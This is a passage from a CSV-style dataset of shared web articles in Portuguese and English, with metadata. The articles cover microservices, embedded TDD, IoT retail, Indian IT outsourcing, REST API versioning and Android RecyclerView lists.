solução já que é isso que vai possibilitar a externalização do serviço. Para promover essa padronização, alguns padrões devem ser utilizados: Compatibilidade total com padrão RESTful Organização por domínios de negócio Ser facilmente escalável Pacotes leves e com inicialização rápida. Para ter uma aplicação com um modelo de integração simples e escalável é necessário possuir um estilo arquitetural que cumpra com todos esses requisitos, e o estilo arquitetural que mais se aproxima dessas característica é o estilo arquitetural de Microserviços. Lembre-se que essa recomendação se aplicada quando o seu backend não é exposto com o protocolo HTTP, porque a maioria das soluções de API Gateways irá conseguir rotear e transformar facilmente as mensagens para comunicação com o backend. Outros cenários que a arquitetura de Microserviços é muito recomendada são: Orquestração: em alguns casos é necessário rotear e/ou chamar outros serviços dependendo de alguma condição específica. Composição: algumas vezes é preciso chamar mais de um serviço para compor e devolver uma resposta. Transformação de Mensagens Complexas: quando é necessário utilizar de algoritmos mais complexos para conseguir devolver uma mensagem para o consumidor do serviço. Por fim, repare que os microserviços precisam ser organizados dentro dos domínios do seu negócio. Desta maneira, podemos ver que esse estilo arquitetural é uma oportunidade de quebrar os monolíticos de seu negócio e prover uma melhor arquitetura, como o desenho abaixo: Um artigo muito interessante de Microserviços é esse . Estratégia de Implementação de Microserviços Uma vez decidido que a implementação do adaptador será baseada em uma arquitetura de Microserviços, algumas características são necessárias: Pacotes leves e baixo consumo de memória A inicialização da aplicação deve ser rápida para criar rapidamente em novas instâncias de containers ou servidores. Desenvolvimento rápido e simples baseado na especificação Swagger Features de segurança como OAuth2 Alguns dos frameworks que indicamos são: JavaScript: Outra característica crucial quando quando implementamos APIs usando Microserviços é a capacidade de integração com sistemas legados. Esse tipo de feature requer um framework específico que implementa os padrões de integração empresarial (EAI patterns), a recomendação nesse caso é utilizar o framework Java Apache Camel . Estratégia de Implantação de Microserviços Uma vez que o pacote com Microserviços está implementado e pronto, ele precisa ser implantado para estar disponível para o uso. A estratégia mais recomendada é utilizar de serviços PaaS (Plataforma como serviço) para implantar os pacotes de Microserviços. Isto porque este tipo de serviço oferece algumas features muito interessantes como: Uso de containers Orquestração de containers Armazenamento (sistema de arquivos e banco de dados) Monitoramento em tempo real Logging e rastreamento Outras duas características importantes são: Ser capaz de escalar para suportar o tráfego Oferecer APIs para automatizar o processo de implantação As principais ofertas de PaaS do mercado devem ser avaliadas para uma estratégia de implantação, e são elas: Outras opções para serem consideradas são a Amazon Elastic Beanstalk e Google App Engine. Os dois são muito interessantes porque possuem uma integração nativa com os serviços de Cloud e Infraestrutura já que também oferecem os serviços de infraestrutura como serviço (IaaS). Porém na nossa visão, a melhor alternativa para implantação de microserviços são aquelas que provém uma integração completa com uma plataforma de gestão APIs, e nesse caso o Sensedia API Suite oferece uma funcionalidade chamada BaaS (Backend as a Service) que utiliza das mesmas características de serviços PaaS e realiza esta integração. Essa funcionalidade permite que você faça a implantação e rode os seus microserviços, já expondo diretamente as APIs dos seus sistemas legados. As tecnologias suportadas pelo BaaS são: Vale lembrar que se você pode utilizar desta plataforma para rodar seus microserviços que não seja somente estes que habilitam a integração com legados, poderá ser sua plataforma oficial de execução de microserviços. Microserviços e Plataformas de API Management Uma vez que os Microserviços estão rodando corretamente, as APIs que expõem os Microserviços devem ser bem gerenciadas e algumas das features essenciais para isso, que a maioria das plataformas deste tipo oferecem são: Segurança e Resiliências : necessário para proteger o seu backend de pessoas ou aplicações não habilitadas para consumir essas APIs. Quando uma API é aberta ou para parceiros, os seus Microserviços devem estar protegidos contra os picos de tráfego, para que não fique fora de serviço e para isso é necessário ter controle de limite de tráfego (Rate Limit e Spike Arrest) e limite de tamanho do corpo da mensagem (Payload Size). Controle de Acesso: os consumidores da API devem estar sobre o seu controle, para isso é necessário a utilização de padrões de mercado como OAuth 2.0 ou JSON Web Tokens. Monitoramento e Rastreamento: é necessário conseguir monitorar todos os tipos de chamada realizadas na sua plataforma, além disso é necessário ter um mecanismo de log poderoso para encontrar os erros que vêm acontecendo na sua API. Todas as capacidades listadas acima são comuns em uma solução de API Gateway, porém algumas outras features cruciais para o gerenciamento completo das suas APIs, são elas: Caching: deve ser capaz de evitar chamadas desnecessárias em sua API, provendo uma latência muito melhor para as suas chamadas e economizando até mesmo o custo de sua infraestrutura de backend. Analytics: o uso da API monitorado em tempo real é de extrema importância, tanto para acompanhar o consumo e até mesmo para ter insights de como vender, monetizar e utilizar da melhor forma a sua API. Como foi mencionado antes, algumas Plataformas de Gerenciamento de APIs oferecem uma integração total com a plataforma de execução de microserviços. Esse tipo de funcionalidade oferece um gerenciamento total de todas as partes da solução, não sendo necessário uma infra separada. Sendo assim, a sua arquitetura ficará como a imagem abaixo: Conclusão Utilizar arquitetura de Microserviços possibilita o desenvolvimento de interfaces RESTful que irão expor o seu legado que nativamente não possui uma interface HTTP, porém o primeiro desafio é escolher as ferramentas corretas essa implementação. Existem muitos frameworks e linguagens que podem ajudar na implementação de microserviços, a decisão depende muito do cenário que está se enfrentando, porém algumas das mais utilizadas são citadas neste artigo. Depois de escolher seu kit de desenvolvimento, a próxima decisão a ser tomada é estabelecer a plataforma de implantação e execução, mais uma vez, a decisão depende muito do cenário sendo encarado, porém neste caso, o principal objetivo é a exposição de RESTful APIs de forma consistente que atendam aos requisitos funcionais e não-funcionais. O Sensedia API Suite é uma ferramenta de gerenciamento de APIs que consegue prover a funcionalidade de Backend as Services (BaaS) que podem substituir as responsabilidades de um PaaS na implantação e execução dos Microserviços. Além disso, a ferramenta consegue prover todas as funcionalidades chave para o melhor gerenciamento de uma API, como por exemplo API Gateway com Caching e Analytics. Em resumo, a recomendação é usar uma ou mais plataformas integradas que consiga lhe entregar o gerenciamento total de seus Microserviços e bem como das APIs que eles irão expor. Referências The following two tabs change content below.",pt
1484911567,CONTENT SHARED,-2386148284399181873,3609194402293569455,-5167461849230317561,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.embarcados.com.br/testes-unitarios-em-sistemas-embarcados/,Vídeos de testes unitários em sistemas embarcados - Embarcados,"Compartilho uma pequena série de vídeos sobre testes unitários em sistemas embarcados, onde TDD é aplicado, ou seja, testar primeiro e implementar depois. Assistir a esses vídeos pode ser uma boa estratégia para iniciar o aprendizado com técnica e também servem como uma boa ilustração de como é a vida do usuário de TDD e como uma equipe pode se beneficiar da técnica. Este artigo replica alguns dos principiais tópicos de cada vídeo como forma de prover um resumo para o leitor, entretanto a quantidade de informação do texto não se equipara aos vídeos. Escrevendo um Pisca Led com testes unitários Trata-se de um vídeo de codificação ao vivo de testes e aplicação de um exemplo de Pisca LED. Além da demostração prática sobre TDD, é legal de ver que os testes são executados no PC de desenvolvimento e também na plataforma embarcada. Um exemplo de abstração de plataforma (tempo 2:19) Chamadas para a funções como e , que são dependentes de plataforma, são abstraídas utilizando um header (.h) compartilhado e a implementação (.c) será diferente para cada executável final selecionada no momento do linker . No final deste artigo um exemplo de estrutura de pastas é apresentado, onde os arquivos abstração ficariam distribuídos. Como simular a passagem de tempo nos testes (tempo 8:06) Testar passagem de tempo manualmente é muito entediante, a final, tem que esperar o tempo passar. Em testes a passagem de tempo é uma variável que é incrementada, dando controle total sobre os instantes em que code under test (CUT) é executado. Teste e implementação de um comparador de tempo robusto a wrap-around (tempo 18:16) Sempre que estamos comparando variáveis contadoras de tempo temos que ter o cuidado com o wrap-around (quando o contador chega no seu valor máximo e volta a valer zero). Existem várias soluções não tão inteligentes com condicionais, mas nesse vídeo é mostrado como uma subtração pode recuperar o contador do wrap-around e oferecer elevada robustez ao código dependente de tempo, essa subtração se resume em ""subtrair o valor de tempo de agora do valor de tempo do passado"", desfazendo o efeito do wrap-around e restando um delta de tempo, que pode ser comparado com outro delta (o esperado) normalmente. O vídeo também mostra como o efeito é simulado durante os testes. ~8 prós e contras sobre test-driven development em sistemas embarcados Este vídeo é uma lista de prós e contras acrescido de algumas dicas para ajudar na escolha de adotar ou não a técnica proposta. O relevante é que a lista foi adaptada para a área de embarcados, onde a dinâmica do TDD passa a apresentar alguns ganhos extras, assim como, custos extras. Escolhi como destaque a parte (no tempo 4:19) onde são apresentadas três perguntas que o gestor ou o engenheiro deve se fazer para ajudar na escolha em adotar ou não testes unitários, ou TDD, no desenvolvimento do produto: Quanto tempo é gasto em testes manuais? Quanto custa e quão eficientes são os testes já aplicados? Quanto custa um recall do produto? Estas três perguntas são criação do autor, que tem experiência em desenvolvimento embarcados no Brasil, diferentemente da bibliografia disponível que trás uma bagagem estrangeira ou fora da área de embarcados. Agora, para finalizar, o último vídeo deste artigo. Introdução à dinâmica do Test-Driven Development em Sistemas Embarcados Agora, no último vídeo, temos uma breve apresentação da dinâmica do TDD em embarcados, como o ciclo de desenvolvimento onde testes são escritos. Uma parte relevante desse vídeo é onde o autor mostra a estrutura de pastas de um projeto multi plataforma: app : aplicativo independente de plataforma, contendo a maior parte da lógica do negócio; app_tests : onde os testes independentes de plataforma são escritos. Testes desta pasta vão rodar em todos os builds de testes, seja embarcado ou no PC do desenvolvedor; plat_host_tests : esta pasta contém a main.c do build de testes que vão rodar no PC do desenvolvedor, assim como testes que só devem rodar neste PC, como testes que vão depender de recursos do sistema operacional não disponíveis no embarcado. plat_XXX_tests : outro build semelhante ao anterior, só que para outra plataforma, provavelmente uma plataforma embarcada, mas podendo até ser em um build para um servidor de integração. plat_XXX_app : diferente dos builds que terminam com ""_tests"", agora o aplicativo é gerado de verdade, esse é o build de produção para a plataforma ""XXX"". Esses foram três vídeos sobre TDD embarcado, haverão mais vídeos e conforme for conveniente ele serão compartilhados, aqui no portal. Engenheiro, desenvolve software para embarcados e Linux, evangelista dos processos de qualidade.",pt
1484936235,CONTENT SHARED,3999205546352981758,-4627026983118548639,-6665607453542696659,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",IL,US,HTML,http://www.mediapost.com/publications/article/292894/samsung-sapientrazorfish-show-iot-retail-approach.html?utm_source=newsletter&utm_medium=email&utm_content=headline&utm_campaign=99660,"Samsung, SapientRazorfish Show IoT Retail Approach At NRF","Samsung is taking the Internet of Things to retail. At the National Retail Federation Big Show in New York today, Samsung and SapientRazorfish are introducing IoT tools intended to link online and in-store shopping activities. Incorporating IoT, data analytics and mobile technologies, the companies are showcasing a customer journey inside an apparel store with synchronization to back office systems. The customer journey technologies include all activities from a consumer entering a store to paying by mobile just before they leave. Lots of Samsung technology is in the demonstration. For example, a shopper can order an item from home using the store's app on a Samsung Galaxy smartphone and when the customer arrives, the store's app triggers a beacon on a large digital sign, showing personalized content based on past purchases. It also suggests other items that can be browsed via touch screen. At the same time, a store associate is notified of the customer's arrival via Gear S2 wearable and then approaches the customer. If the shopper can't find what they're looking for in the store, they can get assistance through the store app by pressing a 'help' button in the app. This sends an alert to the nearest store associate, who uses Samsung triangulation to locate the customer in the store. In the display, as the shopper moves through the store, they are shown a merchandising display that has proximity sensing light bulbs and a beacon, which detects the customer and lights up the shoe model of interest to them, based on the customer's past shopping data from the store's mobile app. The shoe has an RFID tag that allows the customer to take it to a nearby station, which detects the shoe and displays more information on the product. At checkout, a store associate can scan the merchandise using a Samsung smartphone, completing the purchase without using a checkout terminal. The customer taps their phone and pays with Samsung Pay. The 'Razorshop' display utilizes lots of Samsung technology, ranging from phones and tablets to wearables and large video screens. Whether retailers will adopt the entire Samsung-SapientRazorfish end-to-end package remains to be seen. It does, however, show how emerging IoT capabilities can be incorporated into retail, which is a far cry from what is happening in many stores today.",en
1484940504,CONTENT SHARED,-5794047401651735687,-2820994773540913369,-8810142611114349168,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.valor.com.br/empresas/4842772/dasa-compra-rede-de-laboratorios-salomaozoppi,Dasa compra rede de laboratórios SalomãoZoppi,"SÃO PAULO - A Diagnósticos da América (Dasa), maior companhia de medicina diagnóstica do país, confirmou nesta sexta-feira ter assinado um contrato para comprar o SalomãoZoppi, rede de laboratórios referência em São Paulo. A informação foi antecipada pelo Valor PRO , serviço de informação em tempo real do Valor . Comunicado enviado à Comissão de Valores Mobiliários (CVM) informa que a rede de laboratórios passará a ser uma subsidiária integral da Dasa. Para fins da operação, diz a companhia, o SalomãoZoppi foi avaliado em R$ 600 milhões. O contrato assinado hoje tem por objetivo a aquisição de ações da rede de laboratórios, seguida de incorporação das suas ações e entrega de papéis da Dasa para os controladores do SalomãoZoppi. Ainda de acordo com o comunicado, a conclusão da transação está sujeita a outras condições usuais a esse tipo de processo e à aprovação das autoridades concorrenciais brasileiras. A Dasa diz também que vai avaliar se a operação se enquadra nas hipóteses previstas na Lei das S.A. para submetê-la ou não à aprovação dos acionistas em assembleia geral.",pt
1485051242,CONTENT SHARED,5669290109546991426,3609194402293569455,4233710150736291687,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,SP,BR,HTML,http://www.digitaltrends.com/cool-tech/101hero-3d-printer-shipping-problems/,"Signs suggest that 101Hero, the $49 3D printer, was too good to be true","Questions mount on both delivery and production issues, with little communication from 101Hero itself. When 101Hero debuted its namesake 3D printer on Kickstarter last May, the thought of a functional printer for as little as $49 seemed like a great deal. But we questioned if it was just too good to be true. Those questions now seem prescient. Multiple reports - both to Digital Trends directly and the company's Kickstarter page - indicate that some early backers have not received their printer yet. In some cases, printer shipments are now as much as three months past their original promised ship date, with little if any communication from 101Hero itself on the cause. More: The 5 biggest Indiegogo and Kickstarter failures From what we can tell, backers as early as #412 are still waiting for a printers - however in some cases later backers have received printers, or at least a shipment notification. It is not clear what the reasons are for why some early backers are still waiting, as the last Kickstarter update on December 23 only said that the company would try ""to do better and faster."" ""Apparently it is too good to be true,"" Digital Trends reader Jeremy Wells wrote to us. ""I backed it at the $79 level (which came out to a $104 charge to my card), but I haven't gotten a printer, and I can't get any feedback from the creator."" While Wells and others have not yet received a printer, even some backers who have received theirs are still experiencing problems. There appears to be a recurring hardware problem with the motors, which effectively prevents printing. With the lack of communication on 101Hero's end, some have been forced to attempt to source replacement parts outside of official channels in an attempt to get the printer to work properly. Digital Trends has tried multiple times over the past two weeks to get answers. Emails dated January 11 and again on January 16 and addressed to 101Hero's official press contact were never answered (101Hero provides no phone number to contact the company directly that we were able to source). Digital Trends sent out a third email Friday, and will update this story if we receive any response. If this all sounds vaguely familiar to you, that's because a similar issue happened with another low-cost Kickstarter-funded 3D printer called Peachy Printer. In one of the most bizarre failures in crowdfunding history, the project finally folded in May 2016 (oddly enough, the same month as 101Hero launched) after it was disclosed a founding partner allegedly embezzled more than CA$300,000 of pledged funds. In fairness to 101Hero, malfeasance does not look like the issue here, and some printers have made it into the hands of backers. Still, with mounting reports of communications issues with its backers, we can only speculate at this point as to why 101Hero is failing to meet its delivery targets. After Peachy Printer, that's not a position many backers want to be in. Are you a 101Hero backer? We'd like to talk to you and hear your stories and issues. Leave us a comment here, or tweet me directly @edoswald . We'll continue to follow this story as it develops.",en
1485053420,CONTENT SHARED,6847460841437230342,2416280733544962613,2017805684585690418,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",NJ,US,HTML,http://www.economist.com/news/business/21714994-it-firms-need-upgrade-face-technological-and-political-shifts-indian-outsourcing,Indian outsourcing specialists must reboot their strategies,"COMPUTERS slow as they age, and before long must be replaced by newer models. Something similar is true of the business models of Indian IT firms. Specialised in running global companies' outsourced back-offices, the likes of Infosys, Wipro and Tata Consultancy Services (TCS) used to be national champions growing at double-digit rates. Their prospects have dimmed of late; an entire industry built on the back of globalisation is fretting about the incoming American president. But Donald Trump is merely the latest threat to their operating systems. Over three decades, Indian IT has become a $140bn industry built on a simple proposition: rich-country companies could trim costs by getting tedious behind-the-scenes IT work done by cheap engineers in India. The Indian firms hoovered up bright graduates-the big three have over 700,000 employees in total-paying them starting salaries of $5,000 or so, a decent local wage. After gaining some experience, tens of thousands were dispatched to client sites in Europe or America, along with a few expensive local staff. The rest ensured their clients' computer systems kept ticking over from cosy cubicles in Bangalore, Hyderabad and elsewhere. Growth spurts and stalls are nothing new for the trio, the most international of dozens of Indian IT firms (American and European companies such as IBM, Accenture and Capgemini have large Indian presences, too). Their prospects are ultimately tied to the sluggish rich-world economies of their clients: America makes up over half of Indian IT sales, Europe a quarter. Banks and insurance companies, the biggest customers, have been in penny-pinching mode of late; ditto energy companies struck by falling oil prices. But what felt like cyclical softness looks increasingly like it is being compounded by structural decline. Dollar-denominated growth rates have oscillated but clearly trended downwards and are now firmly in the single digits (see chart). Margins of over 20% are coming under pressure, even after a sustained fall in the rupee against the dollar increased the cost advantage of earning in America and paying staff in India. There is still plenty of the $900bn global IT services budget for them to capture. But some headwinds now look like they will endure. Mr Trump's swearing-in is the most immediate concern. The incoming president has railed against certain visas for skilled workers, many of which are gobbled up by Indian IT firms to send staff on stints to America. A proposal to hike the minimum salaries to qualify for such schemes from $60,000 to $100,000 would make many postings uneconomical. That would mean replacing Indian expats to America with locals, especially if the cap for the number of new visas is lowered from the existing 65,000 a year. Add in higher visa-application fees for large-scale labour importers, and that might trim up to five percentage points from IT companies' margins, analysts think. Fuzzy talk of an ""outsourcing tax"" will in any case hardly encourage IT procurement managers to look overseas. Changes in how clients think about technology is a bigger worry for Indian IT firms. Budgets globally are growing steadily, at about 3% a year reckons Gartner, a research outfit. But an increasing amount of the money is spent on trendy stuff like analytics or the internet of things. Such new ""digital"" services will rise from a tenth of total IT spending in 2014 to over a third in 2020 according to McKinsey, a consultancy. IT managers at big firms think they can finance the development of snazzy big-data projects and mobile apps by trimming spending in their existing IT infrastructure, for example by replacing their own data centres (which they pay Indian firms to maintain) with cloud storage (which they do not). And some of the tasks which engineers used to do, such as tailoring software for a client, can now be done by machines. It seems that workers in India's vast code-writing centres are as much at risk of being made obsolescent by automation as those in factories making cars or shoes. Indian firms want to get in on the new digital action, which they think is less likely to be commoditised. But they specialise in fixing problems cheaply, not driving innovation. Devising a mobile-banking app for millennials, say, is a far cry from parsing lines of code for bugs. The IT firms know they need to adapt. ""We will not survive if we remain in the constricted space of doing as we are told, depending solely on cost arbitrage,"" Vishal Sikka, the boss at Infosys, wrote in a recent letter urging staff to shape up. ""If we don't we will be made obsolete by the tidal wave of automation and technology-fuelled transformation that is almost upon us."" Please wait, update in progress Others have a head start in the race to the sunlit digital uplands. Accenture has digital-services revenue per employee around four times its Indian rivals, points out Vaibhav Dhasmana of Jefferies, a bank. It derives more than a fifth of its revenues from such work. Most Indian firms don't break out this figure, somewhat tellingly, but it is thought to be in the 10-17% range. European and American rivals have heftier consulting arms that can shape companies' spending. They are eager acquirers of companies, often boutiques that give them skills they cannot develop internally. They spend more on research and development, too: 2% of revenues for Accenture, compared with a mere 0.5-1% of revenues at Indian firms. All this reduces profits: Accenture has margins on earnings before interest and tax of around 15%, not much more than half what Indian firms have traditionally secured. The Indian firms are moving in this direction. All have invested in ""platforms"" they can sell to more than one client-for example, to analyse social media. But by their own admission progress has been limited. Pivoting towards higher-value offerings requires an overhaul of Indian companies' past models, not a tweak. The focus must now be on the quality, not the quantity, of employees. Hiring has slowed: in the nine months to end-December 2016, Infosys added 5,700 new staff, compared with 17,000 in the same period a year ago. There are fewer junior engineers-able only to carry out the most routine tasks-and more relatively senior staff as a result (see chart). This middle-age bulge in staffers increases staff costs by 5-7%, says Anantha Narayan of Credit Suisse, a bank. All this is happening as Infosys and Wipro are still adapting to a newish generation of professional managers who took over from the entrepreneurs that founded these firms. On January 12th, meanwhile, TCS lost its respected boss, Natarajan Chandrasekaran, who has been tapped to take over the reins at the firm's parent company (see article ). The economics that made Indian IT such a compelling proposition are fading rather than disappearing altogether. But as with computers, it is best to replace an ageing model before it unexpectedly crashes.",en
1485172397,CONTENT SHARED,3770082505811422124,3609194402293569455,-344378995821744418,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.embarcados.com.br/webinar-internet-das-coisas-no-brasil/,Webinar: A Internet das Coisas no Brasil,"20 bilhões de equipamentos eletrônicos conectados até 2020. Essa é a previsão dos fabricantes de semicondutores para o que chamamos de IoT - Internet das Coisas. Uma diversidade de equipamentos eletrônicos se comunicando e que torna a nossa vida melhor, à medida que esses sistemas nos fornecem dados importantes para nosso dia a dia, realizam pagamentos, tomam decisões baseadas em nossas preferências e hábitos, etc. Uma série de desafios devem ser enfrentados para que isso se torne realidade. Neste webinar, convidamos dois especialistas da área no Brasil: Alessandro Cunha e Pedro Minatel . Serão abordados diversos assuntos, experiências de projetos, problemas enfrentados, etc. Não deixe de participar e interagir com os convidados através da seção de perguntas e respostas, durante o webinar. Convidados Alessandro Cunha Alessandro Cunha é engenheiro eletricista. Trabalhou com telecomunicações entre 1994 e 2006. Trabalha com sistemas embarcados desde 1998. É professor em diversas instituições de ensino. É Diretor de Tecnologia da TECHtraininG Engenharia e Treinamentos. É FAE na AVNET do Brasil LTDA. Pedro Minatel Formado em Análise de Sistemas e com técnico em Eletrônica, trabalha há mais de 10 anos com o desenvolvimento de produtos, com foco em embarcados. Atualmente trabalha com pesquisa de tecnologias de segurança embarcada, possuindo patentes nacionais e internacionais nas áreas de segurança, wearables e Internet das Coisas. Publica regularmente artigos técnicos de desenvolvimento para a Internet das Coisas em seu blog pessoal e já teve trabalhos publicados em diversas conferências e é membro do Laboratório Hacker de Campinas. Data: Hora: 19:30 - 20:30 Inscreva-se: Webinar: A Internet das Coisas no Brasil",pt
1485172712,CONTENT SHARED,5484061377044071389,102305705598210278,5527770709392883642,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.narwhl.com/2015/03/the-ultimate-solution-to-versioning-rest-apis-content-negotiation/,The Ultimate Solution to Versioning REST APIs: Content Negotiation,"Versioning your API is terrifying. If you push out a ""breaking change"" - basically any change that runs counter to what client developers have planned for, such as renaming or deleting a parameter or changing the format of the response - you run the risk of bringing down many, if not all, of your customers' systems, leading to angry support calls or - worse - massive churn. For this reason, versioning is the number one concern among the development teams I work with when helping them design their APIs. The traditional way of handling versioning in REST is to apply some version number to the URL - either in the domain (i.e. apiv1.example.com/resource) or in the resource path (api.example.com/v1/resource). Non-breaking changes are frequently pushed out without much fanfare aside from a changelog posted to a blog or an update to the documentation. Breaking changes, on the other hand, require excessive testing, customer hand-holding, voluminous communication and a high level of planning, code maintenance and creative routing as you bend over backwards to ensure your customers can continue to work smoothly while you delicately push out a new release. With all that, everything can still go wrong. Most API producers handle these issues by placing tight restrictions on their development teams regarding when and how the API may be updated, leading to convoluted policies that often confuse client developers and confound innovation and iteration. For example, Facebook recently described their new versioning strategy for their Marketing API . In the old days, Facebook was rather cavalier about pushing out breaking changes. ""Move fast and break things"" worked fine for them, but annoyed the developers who relied on their API. Though they have apparently learned their lesson, their solution to versioning - which, to be fair, is common among RESTful API providers - prevents their API from taking advantage of continous releases and forces their client developers to assiduously watch for announcements about new releases. There's a better way. REST is closely tied to the HTTP specification, which has long had a way to communicate the format of the data exchanged between client and server - content negotiation . In fact, the ""Representational"" part of ""Representational State Transfer"" (for which REST is named) refers to this directly. Roy Fielding calls this out specifically in his 2000 thesis that defined REST (and which anyone talking about REST is obligated to reference). A resource may express one or more representations of its data based on the state of the resource. You typically see this manifest in APIs that support both JSON and XML responses - the client uses either a file extension in the URI or the ""Accept"" header to request their desired format. But that's just the tip of the iceberg. Resources should support more than simply the top-level format of their data - they should specify exactly what data that response contains. According to the Media Type specifications , you can define your own media types using either the ""vendor tree"" (i.e. ""application/vnd.example.resource+json"") or, to avoid registration requirements, the ""Unregistered x. Tree"" (i.e. ""application/x.example.resource+json""). In either case, you're clearly communicating to the client developer that the response they're receiving has a specified format beyond simply XML or JSON. You will need to provide documentation to your developers to describe the data each media type contains , but you should be doing that already. It seems odd to many to define new media types that effectively take advantage of existing media types. In this case, you can define the specific format of your response using the parameters afforded by the Media Type specification. For example, if I have a resource named ""product"", the media type for its basic JSON repesentation could be ""application/json; profile=vnd.example.product"". Defining the profile as a parameter indicates to the client that they should treat the JSON formatted data in a predetermined way. I have also seen - and advocated for - the looser format ""application/json;vnd.example.product"", but RFC wonks may shout you down on that. Regardless of how you present your media type, the version of your resource should also be reflected in it. For example, if you've made one or more breaking changes to the Product resource, you should add the version parameter to it (i.e. ""application/x.example.product+json; version=2"", ""application/json; profile=vnd.example.product version=2"" or ""application/json;vnd.example.product+v2""). Non-breaking changes should also be reflected using sub-versions (i.e. ""version=2.1""). Removing versioning from the URI in this way has a number of benefits: Rather than versioning the entire API when a single resource has a breaking change, you can version directly at the resource level. This allows teams responsible for only a handful of resources to operate independently and enforces the constraint that a resource is solely responsible for its state. Clients will only need to update their code when the resources they commonly use change rather than every time you upversion your entire API. Your team will no longer need to maintain various routing rules for URIs to redirect them to different back-end code bases, allowing for a cleaner and easier to use and cache set of URIs. Best of all, your API will no longer be tied to arcane release cycles separate from the rest of your application stack. So long as you maintain older versions of your representations for a reasonable period of time, you may release at will without breaking client code. You should also use content negotiation to define the different ""shapes"" of your resource - i.e. ""brief"" vs. ""full"", ""mobile"" vs. ""web"" and whatever else makes the most sense to provide for your customers. You can do this either through an additional custom media type or by adding a parameter (i.e. ""application/x.example.product+json; version=2 shape='full'""). It also introduces a few challenges: While URI routing is no longer an issue, routing of the correct response type gets moved up further in your API application stack. If you've stuck to an MVC pattern, your controller will be responsible for mapping the data from your model into the appropriate data structure while your views will be responsible for presenting it according to the requested media type. Clients will need to know the media type for each resource and request the same one throughout their use of your API to ensure their code continues to function normally as you push out new changes. You will still need to clearly communicate any changes to your API to allow your developers to determine how and when they will need to update their client code accordingly. Most of these challenges can be easily overcome. If you're not already taking advantage of the MVC pattern in your application stack, for example, you'd be wise to consider rearchitecting. Content negotiation doesn't necessarily eliminate the need for multiple code bases, but it does move it into a more manageble part of your code - specifically, the controllers and the views. As far as clients knowing the media type, I'd recommend they either store the media type they're using in a variable that gets passed in the Accept header or they do an ""Accept: / "" on the initial call and locally cache the media type that comes back for use with all subsequent calls. Content negotiation is not a common REST client consideration at this point, but that's no excuse for poor API design. Communicating API changes to developers has always been a challenge. You can tweet about them, update your blog, send an email and even call each developer directly and still have more than a few of them contacting your support team complaining about code broken during an update. At last year's API Craft conference in Detroit, some attendees recommended adding a link to resource responses that have been upversioned as an additional means of communication. I'm particularly fond of this as it gives the client developer the power to decide how to handle such updates directly from within their code. I recommend implementing this now, whether you're using content negotiation to handle your versioning or not. Essentially, if a developer is using an outdated version of the API, they should see an additional link in the response like this: The link relation follows the custom URN format (since this is not an IANA approved relation) with a relation of ""deprecated"". While this is not currently a standard, it should be. The link itself should go to some kind of message resource that contains the details of the deprecation - where you direct that is ultimately up to you. However, this resource should respond with at least two representations - one formatted appropriately for code (i.e. JSON or XML) and the other for human readability (i.e. an HTML page, blog post, changelog, etc.). The data found at this resource should show what the current version is and clearly explain the changes made to the resource that warranted a version change. The client developer should include a routine in their code to look for this link in all responses. If found, the client code should do whatever the developer deems necessary to alert the team responsible for maintaining this code about the change. This may include an email to an internal group, creating a Jira ticket using the details obtained by the deprecation link or any other preferred method guaranteed to get the attention of the team. Content negotiation is a clean, well-documented, standards-compliant way of handling a lot of the complexity found in managing and maintaining RESTful APIs. With everyone clamoring about hypermedia, the media type often gets overlooked. You've nothing to lose by beginning to implement it in your existing RESTful API, but so much to gain in added usability for your developer customers and flexibility and agility for you internal teams.",en
1485179372,CONTENT SHARED,-6590819806697898649,-4465926797008424436,-7541317811547099244,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2986.0 Safari/537.36",SP,BR,HTML,https://medium.com/android-dev-br/listas-com-recyclerview-d3f41e0d653c,Listas com RecyclerView - Android Dev BR,"Lista simples O primeiro passo é colocar o RecyclerView no layout da Activity . Além do RecyclerView a a tela terá um botão para incluir o conteúdo, neste caso, o FloatingActionButton . O resto do layout é igual à qualquer outro, sem segredos. Um atributo interessante das listas no Android é o t ools:listitem que foi colocado no componente do RecyclerView acima. Quando colocado com o layout do ViewHolder (no exemplo é o @layout/main_line_view ), podemos ver no Preview do editor de layout do Android Studio como ficará nossa lista, basta colocar o seu layout. Também é preciso fazer o layout do ViewHolder , que será o layout usado em cada uma das linhas. Agora é hora de configurar nossa Activity. Além de relacionarmos os componentes da view como de costume (fazendo findViewById(), por exemplo) é necessário configurar o LayoutManager e o . Uma configuração extra adicionada é o addItemDecoration que recebe um DividerItemDecoration , usando o parâmetro VERTICAL . Com isso, é adicionado linhas divisórias entre os itens da lista. Neste exemplo, foi escolhido o LinearLayoutManager como LayoutManager. Este tipo configura a lista como uma lista simples e vertical. Muito se foi falado do LayoutManager, mas esta classe é apenas uma abstração. O que devemos utilizar mesmo são as classes abstratas, que será apresentado de acordo com cada exemplo. Outro componente que deverá ser criado é o ViewHolder . O seu layout já foi criado acima então é preciso criar a classe Java para relacionar os seus campos, como fazemos em uma Activity para poder acessar os componentes visuais. No exemplo, o Adapter está recebendo no construtor a lista de objetos, que no caso é UserModel. É sobre esta lista de objetos que é construído a lista visual. Para a classe ser uma Adapter é necessário herdar RecyclerView.Adapter<ViewHolder> e implementar os métodos obrigatórios: onCreateViewHolder (ViewGroup parent, int viewType ) Método que deverá retornar layout criado pelo ViewHolder já inflado em uma view . onBindViewHolder (ViewHolder holder, int position) Método que recebe o ViewHolder e a posição da lista. Aqui é recuperado o objeto da lista de Objetos pela posição e associado à 